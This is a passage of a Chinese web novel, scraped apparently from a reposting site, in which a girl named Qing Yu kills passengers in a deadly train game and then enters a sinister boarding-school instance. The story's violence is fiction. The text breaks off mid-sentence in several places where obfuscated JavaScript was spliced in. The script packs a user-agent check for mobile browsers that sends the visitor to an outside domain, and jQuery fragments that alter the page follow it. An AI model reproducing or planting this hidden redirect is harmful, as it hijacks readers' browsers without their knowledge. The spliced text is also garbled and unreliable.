青于有些疑惑,王美燕的丈夫被她自己杀死了,那上车后的第一个晚上,自己杀的那个男人又是谁?当时苏九吃得太快了,她连那具尸体的脸都没看见。但是当时王美燕自己说的,那是她丈夫。 而且,那个“天赋”是什么?优秀教师的品格?有什么用?为什么我没有? 难道他们都不是新上车的,只有我才是? 时间慢慢恢复流动,机械音响彻车厢。 “各位尊敬的乘客,第三个小时已经结束,当前车厢内死亡人数为五人。本轮死亡的一人中没有屠杀者和首轮死者,所以,暂不公布五名死者的身份,副本继续。” 时钟往后一格,第三个小时的标志变成了一条蛇绕成的盾牌。 还是一样的结果,中年男人的死亡没有带来任何改变。 青于抿唇,现在六个人中,普通旅客已经全部死亡了,只剩下屠杀者和初始死者没有出现,而且她需要快点动手结束这一切,因为那个中年男人会复活,就像光头他们那样。 他一旦复活了,就会开始针对自己。还有其余的人,他们亲眼看见了一场凶杀,所以很有可能暂时合力来攻击自己,毕竟他们现在都知道自己是活人了。而且这一轮她察觉了时间,但是只死亡了一个人,那个由她亲手杀死的中年男人,所以大家都会知道,自己的“杀戮卷”已经使用过了。 他们或许会猜测,自己是那个屠杀者。 青于站在车厢连接门处,她身上干干净净的,没有一丝血迹,所有的痕迹都随着时间的跨越而重置。那个中年男人就站在她旁边,照样没有任何痕迹,男人转过身盯着她,眼神阴冷,手中出现了一把刀,阴恻恻地说:“小姑娘,你喜欢杀人是吧。” 青于猛地向前蹿去,几步便跑到了王美燕身边,在所有人都没有反应过来的时候杀了她。 鲜血再次将她染红,青于拔出刀后继续往后跑,直到前方没有路。 那个男人踩着王美燕的血来到她面前,手中握着刀朝着她捅来。 青于侧身挤进狭小的座椅间隙,刀刃擦过她的手臂划开一道血口。 她灵活地撑着座椅靠背翻到前一排,在男人再次袭来时蹲下藏在座椅中间,男人的刀扎进了座椅靠背中,她趁机将杀猪刀狠狠往前一递,刺入男人的腹部,刀刃没入深处,她握着刀柄的手左右一绕,刀刃便在男人的腹中狠狠一绞,顿时疼得他连连惨叫,跪倒在地。 青于抽出刀,又在心脏处补了一刀,这才放松了坐在座椅上歇口气。鲜血顺着刀尖滴落,车厢内的血腥味熏得人头脑发晕。 她试探着启唇,说道:“第四个小时,反杀。” 话音一落,车厢里骤然陷入黑暗,和第一个小时一样,突如其来的黑暗。在黑暗中,什么声响都没有了,连鲜血从刀刃滑下砸在地面的声音都消失了。 【反杀:中年男人向杀死自己的凶手复仇,凶手完成反杀。】 【第四个小时的事件已成功截取,生成时间坐标。】 【尊敬的旅客,您的“杀戮卷”已失效,按照隐藏规则,本轮您可以选择查看一位旅客的信息。请您注意,查看旅客信息的机会十分稀少,所以请您谨慎选择。】 青于伸出手,点上了中年男人的头像。 【旅客信息:陈建设,男,48岁,离异,十年前因卷入一场严重交通事故含冤入狱,出狱后在亲戚的介绍下去一所乡镇卫生院当了驾驶员。已装配天赋:准时到达的救护车。】 文字信息显示结束后,屏幕上出现了一段视频。 视频画面剧烈晃动着,一辆救护车疾驰在被暴雨笼罩的山路上,车灯劈开厚重密集雨幕,轮胎碾过那条修了坏坏了修的乡村山路,道路上裂开的凹陷处盛满积水,飞速驶过后发出令人心惊的呲呲声。 道路不平,一侧是黑压压的山壁,另一侧是黑洞洞的悬崖,悬崖边的防护桩是水泥浇灌出来的,好几个拐弯处都有撞断后又修补的痕迹,这本就是一条险之又险的山路。 救护车在泥泞中剧烈颠簸,车顶上的红蓝闪灯疯狂闪烁,“呜哇呜哇”的声响被雨声死死压制。蛇缠拐杖的标志被雨水冲刷,被泥水浇湿,在脏污中,它依然是至高无上的“生命之星”。 陈建设坐在驾驶座上,双手紧紧握着方向盘,指节发白,浑身被汗浸湿。前方的道路根本看不清,车灯徒劳地劈在雨幕上,却照不亮远方的路面,雨刮器疯狂摆动,依旧难以扫清眼前倾泻而下的暴雨。 他狠狠咬着后槽牙,精神高度集中,救护车在满是稀泥的路上打滑,他凭着肌肉记忆强行修正方向,车轮在黄泥道上划出一道极度危险的弧线,悬崖近在咫尺。他死死踩住刹车踏板,车身堪堪停住。 这样的惊险一刻,这样的生死一瞬……陈建设缓了口气,心脏仍在狂跳,冷汗顺着鬓角滑落,他抹了把脸,握紧方向盘继续前行。 后车厢里,一名骑摩托车坠落山崖的年轻人躺在担架床上,他身上多处擦伤,肢体断裂后扭曲成诡异的角度,面色惨白,意识全无,口中不断喷溅的血液染红了被褥和地面,两名医护人员正有条不紊地处理着,车厢里弥漫着浓重的酒气。 他们的处境和陈建设完全相似,同样的惊险一刻,同样的生死一瞬,在精神高度集中的情况下,他们无暇注意路况,也迟钝地没有发现刚才那一刻的危急。 即便前方全是生死关隘,这辆车也无法停下来。 又走了十几分钟,车辆终于驶出了那有名的死亡弯道,前方雨势稍弱,又因为步入了另一个县的地盘,所以黄泥路变成了水泥路,陈建设松了口气,咬紧的牙关这才稍稍松了些。 可,一关结束还有一关,这残忍的暴雨下了整整一天,有的危机早已成形,变成了他们必经之路上的陷阱,等着他们自投罗网。 山路坍塌,泥石滚滚而下,巨石从山上轰隆隆地滚落下来,拦住了他们的去路,将本就不宽敞的小路截断,只剩下能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一刻,比绝望先来到的是恨意。恨这高山陡峭,恨这暴雨无情,恨这道路狭窄,恨这天灾汹涌……最恨的,是那不知轻重的年轻人,若不是他雨夜醉酒骑车坠落悬崖,伤势太重,他们也不会冒着暴雨出诊将他送往上级医院。 恨他们为了这么一个莽撞的,不知轻重的人,要赔上三条人命!小陈和小金都是前两年才来到卫生院的年轻人,满怀理想地投入基层医疗,还没染上那些得过且过的习气,他们的人生还没走到一半,却在这里戛然而止。而他自己,前十年含冤入狱,在无尽的冤屈中熬了十年,好不容易熬出来,托了多少关系才得到一份工作,最后却被困在这铁皮盒子里等死。 命数啊。 难啊。 陈建设是被泥浆和暴雨困死在车里的,任凭他的恨意在泥水中灼烧,依旧没有给他烧出一条生路。 视频到此结束,屏幕陷入漆黑。 9. 第九章 紧接着,那机械的提示音响起。但是时间没有恢复流动,依旧是停止的状态。 “各位尊敬的乘客,第四个小时已经结束,当前车厢内死亡人数为五人。本轮死亡的两人中有屠杀者与死者,当前存活人数为,一人。副本结束,开始结算。” 都出现了! 这一轮新增的死者是王美燕,她死亡的同时两个特殊身份都出现了,所以她既是“死者”也是“屠杀者”。其实一开始就已经明了了,王美燕作为“屠杀者”进行屠杀,而她选定的死者就是自己,但是自己反杀成功,所以“屠杀者”和死者是同一人。 她早该知道的,要是一开始就选定王美燕进行验证,就不会拖那么久。但是她始终担心其他人根据王美燕身上的伤痕认出自己是“屠杀者”,所以才一直犹豫不决,将她留到了最后。 没关系,下次会更好的,下次再大胆一点,再聪明一点。 青于在黑暗中等了好一会儿,面前突然出现一块巴掌大的蓝色屏幕。屏幕幽幽的冷光映出她面无表情的脸,一行行数据快速浮现在屏幕上。 【副本表现评级:B,已达标。】 【本次副本的奖励为:通关币*5、“杀戮卷”光栅卡、纯净水300ml。】 【唯一存活者特别奖励:“衔尾蛇”徽章一枚、一朵好感玫瑰、A级道具盲盒一个】 【恭喜你通过筛选,成为正式玩家。你将获得随身仓库30格(只能放入终点站制造的物品)、定制天赋(根据玩家的性格和经历量身定制)、简易邮箱(能够随时随地收取/邮寄信件)、贵重财物保险箱(可放入五个种类,数量不限)】 【滋——玩家信息采集中。】 【编号19720,姓名青于,籍贯石洞子村。身份编码为:XWSⅡ0719720】 【天赋生成中——】 【天赋“全职女儿”已装备,详细内容请玩家自行探索。】 所有信息显示后,巴掌大的屏幕上中间出现了一个圆圆的返回键。 青于点了一下,就回到了屏幕首页。首页的界面上有五个圆圆的选项,分别是个人信息、仓库、邮箱、副本日志和终点站公告。 她依次点开,最先是个人信息。 这一刻她无比庆幸妈妈以前教自己识字的时候好好学了,后来妈妈离开后她也总是拿着那几册书反复翻看,所以现在她能看懂这些信息,不至于两眼一抹黑。 【姓名:青于|性别:女|年龄:18|籍贯:石洞子村|身份编码:XWSⅡ0719720】 【当前状态:存活|副本通关次数:1|通关币余额:5|信用评级:A】 【天赋:全职女儿(天赋说明:你与原生家庭羁绊极深。母亲的遗志是你的方向,母亲的坚韧是你的脊梁。完成母亲的任务,你将是她最完美的继承者)】 返回首页后,她指尖在“仓库”上点了一下,屏幕就变成了三十个大小均匀的方框,里面放着她的大部分物资。 “杀戮卷”光栅卡、纯净水(300ml)、“衔尾蛇”徽章*1、好感玫瑰*1、A级道具盲盒*1、压缩饼干*10,这就占了六个格子了。仓库右下角有个金色的小宝箱,标着“贵重财物保险箱”,点击后需虹膜验证才能开启,开启后是五个金光灿灿的小格子,目前空置着。 她点了一下那个空格子,上面跳出一个选项:存放物品。 再点一下,右侧出现了物品栏,仓库里的物品出现在选项里,有的还标注着“建议放入”。青于按照提示,将建议放入的物品都放入保险箱,分别是纯净水、徽章、A级道具盲盒,随后金格泛起微光,将这些物品锁定了。 邮箱里有一封刚收到的信件,寄信人叫:终点站管理处。 信件内容:编号19720,您已成功激活玩家身份,终点站欢迎您的加入。这封信是一则简单的新手引导,希望能给您带来帮助,让您更好地适应即将面临的全新挑战。 首先,您需要知道,所有玩家的最终目标都是积攒通关币,用来支付居住在终点站的费用。终点站没有饥饿、杀戮与背叛,只有永恒的安宁和幸福,在终点站,所有玩家都能过上正常人的生活。 但是,终点站的生活成本很高,所以必须不断进入副本赚取通关币,才能支付在终点站的居留权。 副本难度分为E至S级六个等级,每两个等级划分为一个难度,ED为低难度、BC为中难度、AS为高难度,部分副本无法明确分级,所以会以难度显示,此类副本未知信息过多,请玩家谨慎选择。通关副本后系统会根据玩家的表现结算通关币,这是通关币的唯一合法来源。 特别说明,筛选副本无具体等级,仅用于测试玩家基础属性与适配天赋,所以并无参考价值。只有列车上新人玩家过半才会开启筛选副本,目的是剔除一半不适合的玩家,若新人玩家数量未达到一半,则所有新人自动获得“正式玩家”的身份。 不同的列车途经的副本不同,但一定会囊括低、中、高三个难度,请玩家根据自身能力选择副本。筛选副本结束后,列车步入正轨,每日刷新物资和副本信息,这是唯一可靠的物资与信息获取途径,请务必关注每日刷新内容,及时补充物资。 因部分副本的死亡存在真实性,为了避免玩家死亡后车费无法收取,所以每次下车时都会结清前期费用,未结清者将无法进入下一副本。列车长有权对违规玩家实施禁闭或遣返处理,请严格遵守列车条例。 副本内死亡分为“真实死亡”和“虚假死亡”,真实死亡意味着玩家彻底消失,无法复活;虚假死亡则会在一定时间后于安全点重生,或在副本结束后支付巨额费用重生。 两种死亡都会导致仓库物资掉落,只有存入保险箱的物品不会掉落。 所有副本都为真实世界的回溯,不存在虚拟空间或模拟场景,所以时间与物理法则与现实世界同步,但副本被系统截取后已经开始发生改变,所以会出现各种各样的变化。 每一次进入副本都是未知的,即便是同一个副本,在不同时间段进去也是不一样的,因为副本里的时间永远在流动,改变也会越来越大,因此,每次选择都必须慎之又慎,千万不要掉以轻心。 完成副本后前往候车亭等待,列车会前往候车亭接引幸存者上车,切记不可擅自离开候车亭,那是副本中唯一的安全点。列车到站后仅停留十分钟,超时未登车者视为自动放弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玩家在副本内须严格遵守副本规则,不要试图寻找规则漏洞,请您明确一个信息,系统从不允许任何例外发生。规则的存在是为了平衡玩家与副本之间的秩序,任何试图挑战规则的行为都会被系统立即识别并处理。 您寻找规则漏洞的行为,或许会造成副本的崩塌,从而欠下巨额债务。 请谨记,侥幸心理是死亡的开端,唯有严格遵循规则,保持理智判断,才能在危机重重的副本中存活下去。 以上,是本次指引的全部内容,若您还有疑问,可以到管理处进行咨询,我们将竭诚为您服务。祝您在本次旅程中平安抵达终点站,我们期待您的来访。 关闭邮箱,打开副本日志,里面记录着已经完成的所有副本信息: “衔尾蛇”列车筛选副本——屠杀者(低级),副本表现评级B,副本掉落为…… 最后一个选项是终点站公告,点开后里面空空如也,并没有刷新任何信息。 青于搓了搓手指,指尖传来微凉的触感,这时,屏幕上忽然闪烁起一串血红色的倒计时。 00:05:00 【倒计时结束后时间流动恢复,请玩家做好准备。】 10. 平江三中(1) 00:00:10 00:00:09 00:00:08 00:00:07 青于屏住呼吸,眼睛紧紧盯着那串跳动的数字,手里紧紧握着杀猪刀。她杀了两个人,陈建设和王美燕,一旦时间恢复流动她就会面对他们的反击。 00:00:06 两个人,自己有胜算吗?她的指节因为太过用力而发白,刀柄被汗水浸湿,双脚有些发麻。不安在蔓延,手有些发颤,好像有点用不上力。 00:00:05 冷汗顺着她的脊背滑下,凉飕飕,黏糊糊,很不舒服。心脏剧烈跳动着,好像不停地撞击着肋骨,那震耳欲聋的心跳声就通过骨头一路传到了耳朵里,在耳膜上拼命敲击,如密集的鼓点,一声接着一声,一声撵着一声,从规律到无序,乱糟糟地吵得人心烦意乱。 00:00:04 她咬紧牙关,活动着发麻的手脚,试图让心跳与呼吸声同步,缓解未知带来的恐惧。杀猪刀泛着冷光,映出她紧绷的面容。 00:00:03 她闭上眼,深深吸入一口气,又缓慢地将其呼出,这样不断重复着,呼吸与心跳便慢慢平复,逐渐变得规律,当眼睛再次睁开时,里面的恐惧便悉数褪去,她是平静的、冷漠的、麻木的、没有选择的。 00:00:02 她将手臂抬起,刀锋微微倾斜,摆出一个适合迎击的姿势,眼神坚毅,无所畏惧。 00:00:01 时间恢复流动的那一瞬间,世界仿佛被按下了播放键。 还是一模一样的车厢,地上的血迹已经全部消失,就连她身上都干干净净的,就好像之前经历的一切都是幻觉一样。好奇怪,连她身上原本的血迹都没有了,那些她从石洞子村带来的血迹,属于亲人的血迹,全部消失了。 列车轻微晃动,车内十分安静,车厢最前方多了一个很大的电子显示屏,上面只有一条信息。 【下一站:平江三中(A级),将在一日后到达,请需要下车的乘客做好准备】 副本信息刷新,车厢里响起了窃窃私语。 “第一个就是A级,不愧是‘衔尾蛇’。”朱芸说道。 黄毛应了一声,小声说:“上一轮三个S级副本都是‘衔尾蛇’刷出来的,所以这一轮上车的人多了不少,连二号车都启用了,以前可是一号车都坐不满的。” 朱芸:“啧,烦死了,连登车票都贵了一个币,‘衔尾蛇’不愧是见钱眼开的代名词。” 黄毛:“不止‘衔尾蛇’提价,‘鸢尾花’和‘风滚草’都提价了,我听说好像和管理处的新规有关,这三趟列车都没有和管理处签合约,所以抽成变高了。” 朱芸:“我记得……‘鸢尾花’好像是双子大厦那边的势力。” 黄毛点了点头,凑近她说道:“双子大厦和管理处有矛盾,所以终点站的物价开始变动,双子大厦那边缩减物资供给,导致大部分物资紧缺,营养液已经从100涨到300了。” 他俩一直嘀咕着,声音压得极低,身体也挨得很近,看起来关系很好。不像是副本里那么剑拔弩张的模样,让青于有些摸不着头脑。 王美燕在座位上睡觉,看起来对刷新的副本信息毫不在意;陈建设正在低头看书,书页翻动的声音细微而规律,他的指尖在纸上缓慢移动,动作很是老派,指着一行读一行的。 光头正在擦拭一把短斧,动作缓慢而专注,指腹在刃口上来回摩挲,一遍遍地确认着刀刃的锋利程度。 没人在意她,没人看向她。有的人在闭目养神,有的人在整理装备,此刻,即将到达的副本是重中之重,而她,一个刚刚通过筛选副本的新人,显然没有被人放在眼里。 青于抿唇,放松身体坐在座位上,目光低垂。 她也要进副本,就去那个平江三中。既然新手引导说所有人的目的都是进副本,那她也要去,赚很多的通关币,去往终点站,然后带妈妈去找海。 新手引导说筛选副本是最初级的副本所以无法成为参考,那就说明她对副本是一无所知的,获取信息的唯一途径就是列车上给出的内容,除了名字和等级一无所知。 她是一无所知的,也是毫无经验的,所以没必要选择副本,直接往前冲就是了。是死是活总会有个结果,而且这个副本并没有说会造成真实死亡,所以她就算不幸死亡了,也能够在副本结束之后重生。 第二天正午,列车缓缓停稳,苏十推着补给车出现。 每次进入副本的时间都是正午,正好是补给车刷新的时间,所以乘务员会积极推销,争取在这个关键的时间点大挣一笔,将所有乘客的荷包掏空。 苏十笑得温和,轻声细语地说:“各位乘客中午好,欢迎大家乘坐‘衔尾蛇’号列车,我是本次的乘务员苏十。今日的补给时间到了,请需要补充物资的乘客尽快购买,我只在本节车厢停留一个小时。下面,我将播报本次补给车刷新的物品——” “很遗憾,本次没有刷新出重点物资。” “本次刷新后出现的物品有食物类。分别是:巧克力(20g)、速冻水饺、挂面、苹果、香蕉、食盐(200g)、花生牛奶一件(三十盒)。这次刷新的食物都很不错,有能够快速补充能量的巧克力,有物美价廉的挂面,还有罕见的水果和食盐,最重要的是有牛奶,要知道,水源可是稀缺资源。” “本次刷新后出现的物品有电器类。分别是:便携式电煮锅、太阳能台灯、户外手电筒、便携式烘干机、挂式熨烫机、收音机。” “本次刷新后出现的物品有医疗器械类。分别是:水银体温计、电子体温计、水银血压仪、心电监护仪、麻醉机、酶标仪、超声仪、核磁共振。本次刷新出大量珍贵的医疗器械,要是资金充裕的乘客可以大胆购买,前往终点站后可以向诊所和医院销售,一定能卖个好价钱。” “特别提示,一枚通关币可兑换金钱一万数值,如果您有需要,我们很乐意帮您兑换,同样的,我们需要收取百分之二十的兑换费用。” 他说完后就站在原地等待,而这次,乘客们陆续起身,围拢过去挑选所需物品。 青于也顺势跟了上去,捏着一沓钱准备大肆采购。在车上买的物资能够存进仓库里,直接带进副本使用,不必担心负重问题,所以她可以多买一点必需品。 在其他人都买好离开后,青于才缓缓上前,她刚才看了一下,几乎所有人都买了巧克力、水果、食盐、花生牛奶,既然他们都买了,那自己也买,除此之外,她还要买挂面、电煮锅、手电筒。 她依次查看价格,巧克力一条十块钱,苹果和香蕉都是单个的,三块钱一个,食盐三块钱一包,花生牛奶一件是二十块钱,挂面五块钱,便携式电煮锅八十块,户外手电筒一百五十块。 除了电煮锅和手电筒,所有食物她都买了十份,应该够吃很长时间了,光是十把挂面就够她吃好几个月。省一省,她的三万多可以用很久很久。 一共是六百七十元,她将钱递过去,苏十接过钱,还跟她说道:“你带上车的东西可以卖给我们,进入副本后,带着这些东西会不方便行动。” 青于握着杀猪刀,小声说:“等你们下次刷出武器了我再换。” 至于她背上的小书包,还有书包里的玉米,她没有提起,苏十也就没有继续问。 “那个,你知道他们为什么不找我报仇吗?我在副本里杀了他们,但是他们没有反应。” 苏十有些错愕,没想到她会来向自己询问这种事。 但他性格温和,是蛇族中罕见的好脾气,所以并未觉得冒犯,反而耐心解释道:“因为副本里的他们是由系统控制的NPC,行为由程序设定,只是为了给新人构建一个筛选副本而存在,所有的行为都带着引导意义。你杀的是副本里的复制单位,并不会给他们造成任何实质性的伤害,所以他们并不会追责,这是筛选副本的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427619|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惯例。” “谢谢你,你能把这个带给苏九吗?” 青于从仓库里取出那朵好感玫瑰,鲜艳欲滴的玫瑰花瓣上还带着晶莹的露水,花香弥漫在空气里,是玫瑰特有的味道。 苏十微微一怔,眼中闪过一抹复杂的神色,“这是加好感的道具,你留着到副本里使用会更有用,所有的道具都很珍贵,得留在最关键的时候使用。”他低声说着,却仍将玫瑰收下,指尖轻轻拂过花瓣,声音微沉:“我会交给她的。” “谢谢。”青于说完就离开了。 她知道那朵玫瑰很珍贵,但是她想给苏九,就为了她鼻尖那颗红色的小痣,那样熟悉,那样心悸。 那颗红色的小痣像一滴殷红的血,带着她回到童年的火塘边,在跳动的火焰中,妈妈低着头翻弄火上烤着的玉米,火焰便照亮了她鼻尖的红痣,将她温柔的身影映在开裂的黄色土墙上。玉米的香气从遥远的回忆中飘然而至,与玫瑰的香味交织着,她的妈妈一直都在,从未离开过。 补给时间为一个小时,一个小时后,苏十开始再次播报。 “各位乘客请注意,列车已到达‘平江三中’副本区,当前位置是‘平江三中’入口站台。请即将在本站下车的乘客确认随身携带的基础物资:至少十日分量的食物、饮用水及一件防身武器。未达标者生存率将显著降低,所以请您谨慎选择是否下车。” “另外,在本站下车的乘客需支付一枚通关币的乘车费用。特别提醒,本车厢正在促销生存套装,仅需一枚通关币,便可获得一个基础医疗包与十分钟绝对安全BUFF。该BUFF可主动开启,适用时间为本次副本全程,生效范围为佩戴者周身三米,可抵御一次致命伤害并自动触发治疗效果。欲购从速,先到先得。” 青于最先走上前,交出两个通关币,买了一份生存套装。 基础医疗包非常基础,里面只有一盒创可贴、50ml酒精、一支止血剂、几包纱布块和一卷绷带,要是在补给车买的话只需要花几十块钱就能买到,甚至可能更便宜,但是药品刷新的概率太低,再加上还有一个BUFF捆绑销售,所以能卖出一枚通关币的高价。 青于背着小书包,拿着杀猪刀下了车,下车后是一个小小的候车厅,和石洞子村的相似,上面写着“平江三中”。候车厅红色的墙壁褪色后露出灰白的水泥底色,大一块小一块,斑驳不堪。牌匾又老又旧,剥落的漆面如干涸的血痂,透着一股被时间遗忘的荒芜。 地面是灰色的水泥地,一直朝着前方延伸,拉伸成一条一米宽的小路,路面上有用红色油漆画出来的箭头。小路两侧杂草丛生,密密麻麻的杂草后面是浓浓的黑暗,无声地暗示着,你只可以往前走。 冷风卷着落叶掠过候车厅,青于裹紧外套,顺着地面上红色的箭头一直往前走。 走了十几分钟,她停在一道锈迹斑斑的铁门前,门框上缠绕着茂盛的爬山虎,那翠绿的藤蔓向两侧生长攀爬,墙壁上、教学楼上、铁门上,全是它们的影子。写着校名的牌匾在风中摇晃,字迹斑驳,白底黑字,看起来就不吉利。 铁门发出刺耳的吱呀声,一个枯瘦的老头穿着脏兮兮的保安服站在门口死死盯着她,张开嘴,露出一口黑黄的牙齿,嗓音沙哑地说道:“你就是今天新来的学生?” 青于低头看了看自己手中的杀猪刀,连忙将手藏到身后,回答道:“是的。” 老头微微侧身,示意她进门。 青于抬脚穿过铁门,正式踏入平江三中。 校园里很空旷,被围墙围起来的只有三栋红砖砌成的小楼,分别是教学楼、宿舍楼、食堂。在三栋小楼的中间就是操场,水泥地面有塌陷有裂痕,篮球架歪斜地立着,上面没有球筐。 身后吱呀一声,铁门被关上,穿着保安服的老头走到旁边小小的保安亭里,点起一支烟,眼皮耷拉着瞥了她一眼,叼着烟含糊不清地说:“去吧,老师的办公室在一楼。厕所旁边有牌子的那间,找王老师。” 11.平江三中(2) 【副本:平江三中】 【副本等级:A】 【副本信息:这是一所来历不明的中学,收容着一些不被社会和家庭接纳的少年,他们被称为“问题学生”,可这所学校存在的问题比他们更严重。 这是平江市唯一一所实行全年封闭式管理的中学,也是唯一一所不需要入学考试,只需提供身份信息即可登记入学的特殊学校。传闻这里的学生失踪率高达百分之三十,但无人追究,无人在意,学生的档案被层层封锁。 你来到这里,成为一名新生。除了这里,你无处可去。】 【副本要求:活着离开平江三中】 【个人信息获取中——姓名:青于,身份:学生】 活着离开平江三中?好简单的要求。大门就在那里,我怎么进来的就可以怎么出去,不是吗? 青于转身朝着保安亭走去,她敲了敲蒙着一层灰尘的玻璃窗,惊醒了里面已经在打瞌睡的老头。 老头懒洋洋地睁眼,取下嘴里含着的廉价香烟,咂吧着嘴,“有事?” 他嘴角的沫子堆积着,嘴唇乌黑干瘪,瘦巴巴的好像骨头上就包了一张皮。和村里的很多老头一样,干瘦、邋遢、身上带着一股子味道,嘴里总是说着让人烦躁的话,看人的眼神不是阴森的打量就是居高临下的审视。 青于很少在村里的老人身上感受到慈爱和善意,更多的是冷漠与苛责。 他们看着她,眼神冰冷冷的,其实看的也不是她,是她死去的妈妈。他们在可惜,可惜蓝老二那个老实人命不好,花那么多钱买了个漂亮媳妇,结果就生了一个没用的丫头,还早早就死了。 所以他们的目光里从来都不是她,是打了水漂的漂亮女人和人民币,是那场没有回本的交易和没法延续香火的遗憾。 妈妈已经死了,他们还要透过自己去审视她。用他们肮脏龌龊的眼神,让妈妈在自己身上被再次凌辱,如此屈辱地存在着。 妈妈已经死了,他们竟敢透过自己去审视她。用他们充满罪恶的眼神,让一个女儿切身体会、亲眼见证母亲的痛苦……后来,那些痛苦成功转介,母亲孕育出来的女儿便长成了母亲的模样。 所以,他们是该死的。青于没有受过教育,没有上过学,她身上所有恶的部分,都是那个村子教给她的,她学得很快,学得很好,在妈妈去世后,很多事情她都想通了,所以在失去母亲的第三年,她跟大伯说想学杀猪,学了两年,她就能自己杀猪了。 即便杀得不好,即便杀得满地狼藉,猪血溅在她的身上和脸上,她都不害怕。因为她在等待,等待着向这些人回馈她这么多年从他们身上学到的东西,她会告诉他们,延续香火并不重要,因为很快,你们的祖坟都要没了。 自从她学会杀猪后,村里人的态度好了很多,她成了有用的人,所有人都说她生错了,她该是个男孩。 村里老人都说,她要是个男孩,一定是个有出息的。 青于嗤之以鼻,她就算是女孩儿,也是最有出息的。 思绪回笼,青于晃了晃脑袋,发现自己又走神了。现在是办正事的时候,可不能走神,这个毛病得改改。 她对着保安亭里的老头说:“我要出去,我不读书了。” 老头用那双浑浊的眼睛盯着青于看,烟头在指间明明灭灭,他嗤笑一声:“出去?进了平江三中,就没有全须全尾出去的。”他忽然凑近玻璃窗,鼻子贴在灰蒙蒙的玻璃上,语气带着暗示地说:“想出去也不是没法子,不过……” 他在暗示要好处。 但是青于听不懂,她接触最多的是村里人,到过最远的地方是镇上,人情往来的事情她一概不懂,没见过、没听过、没人教过。她只知道地里的规矩,不知道外面的规矩,所以只能呆呆地站在原地,看着那个老头。 老头突然伸手,在她眼前弹了弹烟头,烟灰抖落,在她眼前簌簌往下落。 过了几分钟,谁也没说话。 老头深深地吸了一口烟,将白色的烟雾缓缓吐出,又对着她抖了抖烟灰。还是和刚才一样的场景,白色的烟雾弯弯绕绕地往上升,细碎的烟灰簌簌往下落。 青于皱眉,突然说道:“不过什么?你怎么不说完?” 老头被呛了一口,咳了好一会儿才面带嫌弃地跟她说,“我手上的是什么?” 青于就说:“是烟。” 老头不耐烦地“啧”了一声,咂吧着嘴,伸手敲了敲玻璃,他带着一股子怒其不争的怨气重重地敲着,像是敲在青于那颗不懂人情往来的脑袋上,一下又一下。 他说:“这是烟,也是关系。想从别人嘴里讨消息,就要走关系,在我这里,关系就是烟,听明白了吗?” 青于也烦躁,她一只手握着刀,一只手在胸前揪着书包的背带,语气很差地问道:“没有烟,别的可以吗?玉米和别的吃的。” 老头愣了一下,随即“唰”的一声把窗帘拉上,隔绝了青于的视线,也不再出声。 青于咬了咬后槽牙,抬手用刀柄把他的窗户捅破了,在玻璃破碎的声音中大声吼道:“问你话呢!玉米和其他吃的可不可以?” 那道脏兮兮的帘子又被猛地扯开,那个老头瞪着眼睛看着她,嘴唇颤抖着问道:“你是不是疯了?你敢捅破我的窗户!” “你先不吱声的!少跟我耍威风,能不能就说话,又不是哑巴,装什么装。”青于吵架的时候总是很大声,和她干瘦的外表很不相符。扯着嗓子吵架,声音要大,气势要强,不管对面是谁你都不能怂,这也是她在村子里学的。 老头气得浑身发抖,手指着她半天说不出话,整张脸涨得通红,忽然抓起桌上的烟盒狠狠砸向地面,嘶吼道:“滚!没有烟就滚!” 青于翻了个白眼,以优胜者的姿态轻飘飘地评价了一句,“呵,只会拿东西撒气的窝囊废。” 就像村里那些靠着吵架出名的大婶一样,她们最骄傲的就是吵赢了的那一瞬间,好像人生中所有的苦难都被那一瞬间的高光覆盖,所有的憋屈都化作了最后那轻蔑的一眼。 青于转身离开,朝着教学楼的方向走去,手中的刀沉甸甸的,那重量是底气,她就靠着这点重量从石洞子村走到这里,现在,这重量也会支撑她在这片陌生的土地上行走,每一步都像踩在老家熟悉的田埂上。 还没走出多远,旁边就多了个人,是个留着学生头,戴着黑框眼镜,穿着黑白校服的女生,很规范的好学生形象。如果她短袖校服下的手臂上没有夸张的纹身,手腕上没有重叠的伤痕,会更像一个好学生。 那校服很久了,领口松垮垮地耷拉着,黑色的部分有些褪色,白色的地方也泛着旧黄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429438|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和这所学校的牌匾一样不吉利。 她低着头,两只手缠在一起,指节泛白,有些神经质地开口问道:“你是新学生?你怎么和保安吵架?不要吵架,不要,吵架不好。” 青于看了她一眼,然后问道:“跟他吵架会怎么样吗?他能拿我怎么样?” 